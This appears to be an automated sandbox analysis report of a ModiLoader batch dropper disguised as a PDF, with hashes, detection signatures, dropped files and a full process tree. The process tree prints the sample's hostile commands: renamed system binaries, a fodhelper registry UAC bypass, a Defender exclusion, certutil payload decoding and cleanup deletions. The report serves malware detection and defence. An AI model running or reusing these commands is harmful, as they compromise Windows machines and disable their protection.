Analysis

  • max time kernel
    127s
  • max time network
    138s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    26/03/2024, 06:45

General

  • Target

    CDE_7558497830/CDE_7558497830/CDE_7558497830/CDE_7558497830_PDF.bat

  • Size

    3.6MB

  • MD5

    75f1ce6a46272e4ece22ad481b8a1ed3

  • SHA1

    f7a7f98e6995bae293d8cd06d5806d1803ea3ed9

  • SHA256

    41149322a4ee305483bce2d4b7e1a561c5973761dd7c82c9fb21059243dc0b0b

  • SHA512

    2f9c1a74b94fbb49a79d6d10e97edd2e71c19485e0d6b3509b17bf7cf7f64e82dc2de26303404e1cfbfe8a107bcd8bd1e99619455307e748a8fba5b4f61a1e24

  • SSDEEP

    49152:0Ppmq12RxHW9ub71aMzQweyrLLX+5Z4yPLyiTvCuP8s7JaqD:A

Score
10/10

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • ModiLoader Second Stage 1 IoCs
  • Executes dropped EXE 16 IoCs
  • Loads dropped DLL 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies registry class 5 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 14 IoCs
  • Suspicious use of SendNotifyMessage 14 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\CDE_7558497830\CDE_7558497830\CDE_7558497830\CDE_7558497830_PDF.bat"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2768
    • C:\Windows\system32\cmd.exe
      cmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2636
      • C:\Windows\system32\extrac32.exe
        extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
        3⤵
          PID:2240
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2896
        • C:\Windows\system32\extrac32.exe
          extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
          3⤵
            PID:3048
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2688
          • C:\Windows\system32\extrac32.exe
            extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
            3⤵
              PID:2452
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:2912
            • C:\Users\Public\xkn.exe
              C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2500
              • C:\Users\Public\alpha.exe
                "C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                4⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:2396
                • C:\Windows\system32\reg.exe
                  reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                  5⤵
                  • Modifies registry class
                  • Modifies registry key
                  PID:2388
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\CDE_7558497830\CDE_7558497830\CDE_7558497830\CDE_7558497830_PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:2184
            • C:\Users\Public\kn.exe
              C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\CDE_7558497830\CDE_7558497830\CDE_7558497830\CDE_7558497830_PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9
              3⤵
              • Executes dropped EXE
              PID:2532
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1252
            • C:\Users\Public\kn.exe
              C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
              3⤵
              • Executes dropped EXE
              PID:2356
          • C:\Users\Public\Libraries\Lewxa.com
            C:\\Users\\Public\\Libraries\\Lewxa.com
            2⤵
            • Executes dropped EXE
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:2432
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2432 -s 780
              3⤵
              • Loads dropped DLL
              • Program crash
              PID:1248
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S
            2⤵
            • Executes dropped EXE
            PID:2824
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S
            2⤵
            • Executes dropped EXE
            PID:2408
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S
            2⤵
            • Executes dropped EXE
            PID:2964
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S
            2⤵
            • Executes dropped EXE
            PID:2796
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1696
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM SystemSettings.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1032
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
            2⤵
            • Executes dropped EXE
            PID:2536
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM SystemSettingsAdminFlows.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2684
          • C:\Windows\system32\cmd.exe
            cmd /c del "C:\Users\Public\alpha.exe" / A / F / Q / S
            2⤵
              PID:2984

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Public\Lewxa.txt

                  Filesize

                  2.6MB

                  MD5

                  6d75d7c7cc50099ca677b647ca9ce8d3

                  SHA1

                  b0bb8832ccbc990c8f6c69ec61c2e73bc9bc8cad

                  SHA256

                  6ef611c9602ce5918ab87951f9ffd851b1fb53decbd199d073a9823d6b330bf4

                  SHA512

                  b2d93df8a1ae31b052045a50bf5ca10b80e9e3d34359bac69d5626ccc399e375b66b07cca1fd202435fb526ae7f9bde1f56bb8767b5a9051d59de9829d45e2b2

                • C:\Users\Public\Libraries\Lewxa.com

                  Filesize

                  1.3MB

                  MD5

                  2dfc4938d980a733ca8484df24df9886

                  SHA1

                  4660364cb6a885580eb67731ae6b2bd32842d07d

                  SHA256

                  26d0349541b20a4c51524c7f422946667fa1261e42c0eec960dbb368030ced25

                  SHA512

                  de7f56d137a97dd172fffe54325d8718cfc1bdebf0c210e2308da7ba437b79a59096e3b0db03abb4f0b6005114df436a8ffb997ffe3cba08c89b818636f7b4ea

                • C:\Users\Public\alpha.exe

                  Filesize

                  337KB

                  MD5

                  5746bd7e255dd6a8afa06f7c42c1ba41

                  SHA1

                  0f3c4ff28f354aede202d54e9d1c5529a3bf87d8

                  SHA256

                  db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386

                  SHA512

                  3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

                • \Users\Public\alpha.exe

                  Filesize

                  64KB

                  MD5

                  ef70856e875a628e03df9867f6a9abd6

                  SHA1

                  97f8064fe2197d6002068d8380410fdfc81730e5

                  SHA256

                  f168a9bab7a544fab673f52abdf4e14dce7b624fab336545e6ea66919680fe61

                  SHA512

                  bb1b204f213d5ebe8b85082e17c5f8fdf20837bba08e486db08e3abceef16de2b4c4be053b1a300ece7f793bea360c5d6bdfb2684780fa2de87af9682ed7b396

                • \Users\Public\kn.exe

                  Filesize

                  1.1MB

                  MD5

                  ec1fd3050dbc40ec7e87ab99c7ca0b03

                  SHA1

                  ae7fdfc29f4ef31e38ebf381e61b503038b5cb35

                  SHA256

                  1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3

                  SHA512

                  4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

                • \Users\Public\xkn.exe

                  Filesize

                  462KB

                  MD5

                  852d67a27e454bd389fa7f02a8cbe23f

                  SHA1

                  5330fedad485e0e4c23b2abe1075a1f984fde9fc

                  SHA256

                  a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

                  SHA512

                  327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

                • memory/2432-59-0x0000000000400000-0x0000000000551000-memory.dmp

                  Filesize

                  1.3MB

                • memory/2432-58-0x0000000000230000-0x0000000000231000-memory.dmp

                  Filesize

                  4KB

                • memory/2432-55-0x0000000002F40000-0x0000000003F40000-memory.dmp

                  Filesize

                  16.0MB

                • memory/2432-54-0x0000000002F40000-0x0000000003F40000-memory.dmp

                  Filesize

                  16.0MB

                • memory/2432-47-0x0000000000230000-0x0000000000231000-memory.dmp

                  Filesize

                  4KB

                • memory/2500-23-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

                  Filesize

                  9.6MB

                • memory/2500-33-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

                  Filesize

                  9.6MB

                • memory/2500-28-0x0000000002480000-0x0000000002500000-memory.dmp

                  Filesize

                  512KB

                • memory/2500-27-0x0000000002480000-0x0000000002500000-memory.dmp

                  Filesize

                  512KB

                • memory/2500-26-0x0000000002480000-0x0000000002500000-memory.dmp

                  Filesize

                  512KB

                • memory/2500-25-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

                  Filesize

                  9.6MB

                • memory/2500-24-0x0000000002480000-0x0000000002500000-memory.dmp

                  Filesize

                  512KB

                • memory/2500-22-0x0000000001E70000-0x0000000001E78000-memory.dmp

                  Filesize

                  32KB

                • memory/2500-21-0x000000001B040000-0x000000001B322000-memory.dmp

                  Filesize

                  2.9MB